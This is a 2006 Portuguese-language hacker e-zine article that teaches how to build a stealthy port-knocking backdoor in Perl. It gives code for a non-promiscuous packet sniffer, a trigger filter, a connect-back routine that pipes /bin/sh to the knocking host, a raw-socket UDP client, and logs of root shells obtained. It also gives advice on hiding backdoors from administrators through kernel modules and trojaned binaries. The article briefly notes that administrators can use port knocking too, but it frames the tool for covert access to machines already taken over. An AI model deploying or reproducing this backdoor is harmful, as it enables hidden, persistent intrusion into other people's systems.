[ --- The Bug! Magazine

_____ _              ___               _
/__   \ |__   ___    / __\_   _  __ _  / \
/ /\/ '_ \ / _ \  /__\// | | |/ _` |/  /
/ /  | | | |  __/ / \/  \ |_| | (_| /\_/
\/   |_| |_|\___| \_____/\__,_|\__, \/
|___/

[ M . A . G . A . Z . I . N . E ]

[ Numero 0x01 <---> Edição 0x01 <---> Artigo 0x07 ]

.> 23 de Marco de 2006,
.> The Bug! Magazine < staff [at] thebugmagazine [dot] org >

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Port Knocking
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

.> 22 de Fevereiro de 2006,
.> hash < hash [at] gotfault [dot] net >

If I don't drive around the park,
I'm pretty sure to make my mark.
If I'm in bed each night by ten,
I may get back my looks again.
If I abstain from fun and such,
I'll probably amount to much;
But I shall stay the way I am,
Because I do not give a damn.
-- Dorothy Parker

[ --- Indice

    1. <---> Introdução
    1. <---> Conhecimento necessários
    1. <---> Estrutura básica de um port-knocking backdoor
    1. <---> Exemplo Pratico
    1. <---> Implementando o server
  • 5.1. <-> O Sniffer
  • 5.2. <-> O Filtro
  • 5.3. <-> A Rotina a executar
  • 5.4. <-> Funcionou ?
    1. <---> Implementando o client
  • 6.1. <-> Raw Sockets
  • 6.2. <-> O Socket Cliente
    1. <---> Evasão
    1. <---> Conclusão
    1. <---> Referencias
    1. <---> Agradecimentos

[ --- 1. Introdução

Este documento não visa explorar assuntos de âmbito hacker como definições e  diferenças entre black hat, white hat, cracker, etc... acredito que pré-conceitos sempre são negativos de alguma forma. O uso que se da ao conhecimento pode ser para o bem ou para o mal, isso depende da pessoa que o aplica. É o mesmo que dizer que a internet e' um mal porque permite pornografia infantil, disseminação de informação sigilosa, difamações etc e tal. A internet é o meio de comunicação talvez mais democrático que exista, permitindo a todos sem exceções (a não ser as financeiras que privam os menos favorecidos a tecnologia) um lugar comum para se discutir ideias e compartilhar conhecimento. Como diria meu falecido avô, que eu não cheguei a conhecer "O saber não ocupa lugar".
Vamos então tentar esclarecer alguns conceitos que para alguns podem não ser conhecidos, então deixem-me oferecer algumas definições que me parecem uteis para a compreensão total deste paper:

+ BackDoor: Um backdoor e' por natureza, algum software/ferramenta ou mecanismo que visa oferecer acesso indevido a um sistema de computador. Existem hoje muitos tipos funcionais de backdoors, que vem sendo aprimorados com o passar do tempo. Entao os Backdoors sao divididos em alguns sub-niveis conceituais ou de aplicação, vou citar alguns:Kernel Backdoor ou lkm (loadable kernel module): Não abordado nesse texto Funcionam a nível de kernel como um objeto .o, mais precisamente um modulo do kernel. Geralmente são muito sofisticados.

Backdoor comum:Não abordado nesse texto (quero deixar claro que alguns dos termos utilizados estao vindo da minha cabeça, não tenho a intenção de ser "exato" mas sim ser o mais claro possível).
Baseia-se em geralmente um sistema cliente/servidor, o qual o host alvo executa o "servidor" provendo um acesso externo, com isso deixando uma porta aberta na maquina alvo, a qual o "cliente" conecta-se e pode enfim executar seus comandos.

Backdoors avançados: Procuram se utilizar de técnicas de evasão e não deixar tantos rastros que poderiam ser facilmente seguidos pelo administrador do sistema. Este paper trata de um método avançado de implementação de um backdoor. Procurando tornar-se mais evasivo e silencioso que métodos mais tradicionais.

Port-Knocking BackDoor: Port Knocking backdoor tem como principal caraterista o fato de não estar ativamente escutando uma porta TCP, isso pode soar estranho, mas é exatamente assim que ele funciona.E nesse documento vamos discutir carateristas, teorias e metodologias de implementação tanto para uso em backdoors quanto em uma forma deobscurecer certos serviços em um host.

[ --- 2. Conhecimento necessários

Para a melhor aproveitamento deste paper se faz necessário que o leitor possua alguma , nao necessariamente profundos conhecimentos, mas alguma noção de TCP/IP, linguagens de programação como Perl e C, Linux/Unix, sockets.
O uso de ferramentas como o Nmap também sera útil.

[ --- 3. Estrutura básica de um port-knocking backdoor

Em seu código, o programa precisa ser capaz de sniffar uma determinada interface, que sera usada pelo client para o envio dos datagramas, que serão filtrados pelo sniffer, analisados e então sera tomada a decisão de fornecer acesso ou não.
O sniffer em questão precisa ao minimo ser furtivo o suficiente para não setar a interface em modo promiscuo, o que seria facilmente detectado pela maioria das ferramentas anti-intrusão ou mesmo um simples "/sbin/ifconfig -a" colocaria tudo a perder. Uma interface em modo promiscuo se pareceria da seguinte forma:

eth1 Link encap:Ethernet HWaddr 00:E0:7D:E6:EF:D0
inet addr:10.10.10.1 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: fe80::2e0:7dff:fee6:efd0/64 Scope:Link
UP BROADCAST PROMISC MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:5 Base address:0xb000

Observe a linha: UP BROADCAST PROMISC MULTICAST MTU:1500 Metric:1

Fica evidente que a interface esta sendo sniffada de alguma forma, o que levaria o administrador a tomar providencias.

[ --- 4. Exemplo pratico

Se realmente nunca viu um backdoor em ação, vou aqui demonstrar rapidamente a execução de um exemplo. Mas se você já possui mais experiencia, sugiro que pule este exemplo. Imagine que você esta logado em uma maquina remota, por alguma razão obscura (ou não tao obscura assim) você possui acesso shell a maquina, e o melhor ainda, você é ROOT. Com um backdoor em mãos o procedimento seria o seguinte:

root@godfather:/home/hash/security/tools/stealfly# ./server.pl
root@godfather:/home/hash/security/tools/stealfly#

Agora o server.pl esta sendo executado em background. Você desloga da maquina, e a próxima etapa (munido do client ou não, dependendo da implementação) sera acionar o client para logar na maquina alvo:

root@godfather:/home/hash/security/tools/stealfly# ./client.pl -b localhost localhost 8080
Stealfly written by hash
[!] Bindport method
[*] Sending range of UDP packets to 127.0.0.1:80 ...
[!] Sent!
[!] Connected on: 127.0.0.1:8080
[!] exit or control+c to leave


Linux godfather 2.6.7 #4 SMP Mon Aug 29 17:15:09 BRT 2005 i686 unknown unknown GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

Nesse ponto, como você pode observar, estará apto a executar comandos na maqui na remota.

[ --- 5. Implementando o Server

[ --- 5.1. O Sniffer

Talvez, ao menos no mundo *nix o sniffer mais popular seja o tcpdump. Mas na pratica não é tao complicado escrever seu próprio sniffer, utilizando-se a biblioteca pcap.h em C, em Perl seu equivalente é Net::PcapUtils. O Tcpdump utiliza pcap.h assim como muitos outros sniffers disponíveis. O procedimento é interceptar os pacotes que chegam a determinada interface e analisar os dados contidos nesses datagramas, como por exemplo porta de origem, porta de destino, dados, ip destino, ip origem, etc. Em Perl um sniffer se parececia com esse trecho de código:

#Inicia a interface em modo nao promiscuo

Net::PcapUtils::loop(\&sniffit,Promisc=>0, #nao promiscuo
NUMPACKETS=>5, #numero de pacotes a serem intercepatos por vez
FILTER=>"udp and port 9090", #protocolo e porta a ser escutada
DEV=>eth0); #device

my ($args,$header,$packet) = @_;

$ip = NetPacket::IP->decode(eth_strip($packet)); #Filtrando IP
$tcp = NetPacket::TCP->decode($ip->{data}); #Filtrando TCP
$get_data = $ip->{data}; #capturando os dados contidos no datagrama
$tcporigem = $tcp->{src_port}; #capturando a porta de origem
$iporigem = $ip->{src_ip}; #capturando o ip de origem

Essa simplificação nos permite perceber como a filtragem do datagrama sera feito. Primeiro "abrimos" os datagramas IP e TCP, uma vez abertos temos acesso ao seu conteúdo como ip de origem/destino, porta de origem e dados.

[ --- 5.2. O Filtro

Através do manuseio dessas informações podemos em seguida estabelecer as regras que serão seguidas de acordo com a informação que chega:

.
.
.
my $allow = 9090;
if($orig_addr eq '127.0.0.1') { #Se o ip de orgigem bate com o que esperamos
if($srcport eq $allow) { #Se a porta de origem tambem confere...


#analizamos os dados, nesse caso se espera uma string 'connback'
#se contiver essa string seguimos a rotina:
if($get_data =~ /connback/) {
faz algo...
}
.
.
.

Como você já percebeu a logica toda é muito simples. Não pretendo entrar em detalhes de programação, porque isso mereceria um documento extra, mas sim expor a logica por trás desse método ainda não tao difundido. Preciso fazer menção ao primeiro documento que li a respeito que foi de FX da phenoelit, foi a primeira implementação desse método. No caso do código do FX ele filtra os datagramas na espera de uma certa sequencia de SYN/ACK que pode ser gerado pelo nmap.

[ --- 5.3. A Rotina a executar

E para efeito de conhecimento segue um possível trecho de codigo que realiza um connect-back em destino ao client, sendo satisfeitas todas as regras anteriores:

sub conn_back() {
sleep(4); #Dorme por 4 segundos para dar tempo ao client
$execute = '/bin/sh'; #Vamos executar /bin/sh nessa rotina
$get_addr = inet_aton($iporigem);
$paddr = sockaddr_in($conn_back_port, $get_addr);
$ptc = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $ptc);
connect(S, $paddr);
S->autoflush(1);


#direcinando a saida ao socket
open(STDIN, ">&S");open(STDOUT, ">&S");open(STDERR, ">&S");
system($execute);
}

Essa função acima realiza um connect-back no ip de origem do datagrama, pode ser considerada como uma forma de evasao ao netfilter que muito frequentemente bloqueia acesso remoto a portas arbitrarias mas muitas vezes permite a conexao server -> client:porta.

[ --- 5.4. Funcionou ?

Ao startar o server (que vai esperar por datagramas direcionados a porta 80 para em seguida liberar o acesso remoto na porta 9090:
</p>

./server.pl

#
</code>
Agora veja com nmap:

root@godfather:/home/hash/security/tools/stealfly# nmap localhost -p 1-65535


Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2006-02-23 01:48 BRT
Interesting ports on localhost.localdomain (127.0.0.1):
(The 65532 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
443/tcp open https
6667/tcp open irc
61515/tcp open unknown

Nmap run completed -- 1 IP address (1 host up) scanned in 46.268 seconds
root@godfather:/home/hash/security/tools/stealfly#

Como fica evidente, não temos a porta 9090 aberta muito menos a 80. Mais a frente na secao CLIENT vamos ter mais detalhes.

[ --- 6. Implementando o Client

[ --- 6.1. Raw Sockets

Muito bom o servidor estar escutando uma interface, uma porta, um datagrama. Mas de que vai adiantar isso se não podemos gerar nossos proprios datagramas? Com portas, ip`s etc. arbitrarios? Isso só é possivel com o uso de Raw Sockets. Para se manipular datagramas dessa forma é essencial conhecimentos sobre o stack TCP/IP.
O documento aborda uma perspectiva C. No nosso caso faremos em Perl por enquan to (em medio prazo pretendo desenvolver um paper sobre Raw Sockets abordando a linguagem C ANSI). Em Perl usamos a o modulo (biblioteca) Net::RawIP.

#Primitiva de servico raw socket, nesse caso UDP
$packet = new Net::RawIP({udp=>{}});

#Serao 5 pacotes enviados em sequencia (para ser aceito pelo server)
for($x=0;$x<=4;$x++){ #Cada datagrama tera uma porta de origem diferente @tmpport = (739,666,2001,3055,8000); $packet->set({
ip => { saddr => $iface, #IP de orgiem (arbitrario)
daddr => $server #IP de destino (server)
},
udp => { source => $tmpport[$x], #Vetor para cada uma das 5 portas de origem
dest => 80, #porta 80 de destino, geralmente aceita (web)
len => 5,
data => $send_data #data (string)
}
});

$packet->send(0,1); #envia o datagrama

[ --- 6.2. O Socket Cliente

Simples nao? O datagrama é gerado e enviado ao endereco de destino. Vamos a segunda parte do client:

.
.
.
$local = IO::Socket::INET->new(Listen=>1,
Proto=>'tcp', #Protocolo
LocalAddr=>'127.0.0.1', #Ip local
LocalPort=>9090, #porta local
ReuseAddr=>1,) or die "$!";


$local->autoflush(1);

#Aceita a conexao
$addr = $local->accept();
.
.
.

O exemplo acima funcionaria para o connect-back ja que abre uma porta no endereço local a espera de uma conexao vinda do servidor.

[ --- 7. Evasão

Tecnicas de evasao sempre sao necessarias em backdoors, deve-se dificultar sua detecção pelo administrador do sistema e ferramentas de que ele se utiliza. Uma boa forma e' voce criar sua propria ferramenta, sendo ela "desconhecida" fica mais dificil que ela seja filtrada por alguma ferramenta de anti-intrusão que sempre procuram por padroes, como diretorios com nomes especificos, processos comuns de sistema, arquivos caracteristicos, etc.
Os mais eficientes backdoors sao os LKM (loadable Kernel Module) por serem executados a nivel de kernel (.o na versao 2.4.X e .ko na 2.6.X) como modulos, podem ser carregados na inicializacao do sistema, nao aparecendo na lista de processos de sistema, porem podem ser detectados na listagem de modulos ativos (lsmod), ai seria necessario trojanar certos aplicativos a fim de de tornar o sistema mais invisivel. Alterar o source code de um backdoor de terceiros tambem pode ser uma solução para evitar a deteccao, como diretorios default, nomes de arquivos, comportamento, etc. O grande Gol do backdoor port-knocking e' posibilitar que o servidor nao deixe nenhuma porta aberta ativa, abrindo esta somente quando necessario.

[ --- 8. Conclusao

Vamos verificar como o backdoor se comporta:


root@godfather:/home/hash/security/tools/stealfly# ./server.pl
root@godfather:/home/hash/security/tools/stealfly#

Em outro terminal:
</p>

nmap localhost -p 8080

</code>


Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2006-02-23 01:21 BRT
Interesting ports on localhost.localdomain (127.0.0.1):
PORT STATE SERVICE
8080/tcp closed http-proxy

Nmap run completed -- 1 IP address (1 host up) scanned in 0.648 seconds
root@godfather:/home/hash/security/tools/stealfly#
</p>

./client.pl -b 127.0.0.1 127.0.0.1 8080

Stealfly written by hash
[!] Bindport method
[*] Sending range of UDP packets to 127.0.0.1:80 ...
[!] Sent!
[!] Connected on: 127.0.0.1:8080
[!] exit or control+c to leave
</code>
Linux godfather 2.6.7 #4 SMP Mon Aug 29 17:15:09 BRT 2005 i686 unknown unknown GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

Novamente em um terceiro terminal:

root@godfather:~# nmap localhost -p 8080

Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2006-02-23 01:22 BRT
Interesting ports on localhost.localdomain (127.0.0.1):
PORT STATE SERVICE
8080/tcp open http-proxy

Nmap run completed -- 1 IP address (1 host up) scanned in 0.723 seconds
root@godfather:~#
Connect Back:
root@godfather:/home/hash/security/tools/stealfly# ./client.pl -c 127.0.0.1 127.0.0.1 9090
Stealfly written by hash
[!] Connect Back method
[] Sending range of UDP packets to 127.0.0.1:80 ...
[!] Sent!
[
] Waiting for remote connect back on 127.0.0.1:9090
[!] Connection made from: 127.0.0.1:32933
[!] exit or control+c to leave
command> id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
Command>

Como fica claro nos exemplos, a porta somente sera aberta em caso de real conexão, ao sair da shell a porta novamente sera fechada e o programa entra em espera por novos datagramas. O metodo Port-Knocking tambem pode ser utilizado por administradores de sistemas como uma forma de inicializar/parar determinados servicos como http/ssh/ftp etc. Também pode lidar com regras dinamicas do netfilter (iptables, ipchains, etc.) dinamicamente, você envia pacote x, libera-se porta y para ip de origem w e por ai vai. O unico limite é a imaginacao do desenvolvedor. Mas é claro que a parte mais divertida fica para o segmento underground. Esse paper teve como objetivo esclarecer mais sobre esta tecnica ainda nao muito difundida porem muito util e interessante, que ainda tem muito a oferecer, e devemos ainda em breve ver ferramentas bastante flexiveis se utilizando desse mecanismo. Porem nao procurei me extender demais no assunto, entrando em detalhes tecnicos especificos de linguagem ou plataforma, dessa forma procurei apenas ajudar.

[ --- 9. Referencias
+ http://www.phenoelit.de/fr/tools.html

[ --- 10. Agradecimentos

  • A todos os membros da:
  • Gotfault
  • rfdslabs
  • Alguns nomes: F-117, sandimas, xgc, khz, deadsocket, barros, spud, c0dak,
  • hexdump, Shorgen...
  • E ripando o paper do sandimas, aqui vai um set list que sempre me acompa-
  • nha:
  • Neil Young (TODAS e tambem..) - Keep on Rockin` in the Free World, Like a
  • Hurricane e Cowgirl in the Sand, Scenery;
  • Racionais - Vida Loka I e II, Foda-se a Policia, Sobrevivendo no Inferno;
  • Blind Melon - Change, Mother;
  • SRV - Texas Flood, Voodoo Child;
  • Metallica - One, Fade to Black, My Friend of Misery;
  • Nirvana - Heart Shaped Box, Polly, Something in the Way;
  • The Animals - House of Rising Sun, Please dont let me be misunderstood;
  • Janes Addicion - Simpathy for the Devil, Jane Says, Three Days;
  • Pearl Jam - Immortality, Black;
  • Alice in Chains - Angry Chair, Nutshell, Down in a Hole;
  • E centenas de outras bandas e musicas como Sublime, Legiao, Waterboys,
  • Agent Orange, D2, The Doors, Cream, RHCP, Manolo Tena, Pink Floyd (claro),
  • Pixies, Suicidal Tendencies, Porno for Pyros, Screaming trees, Anathema...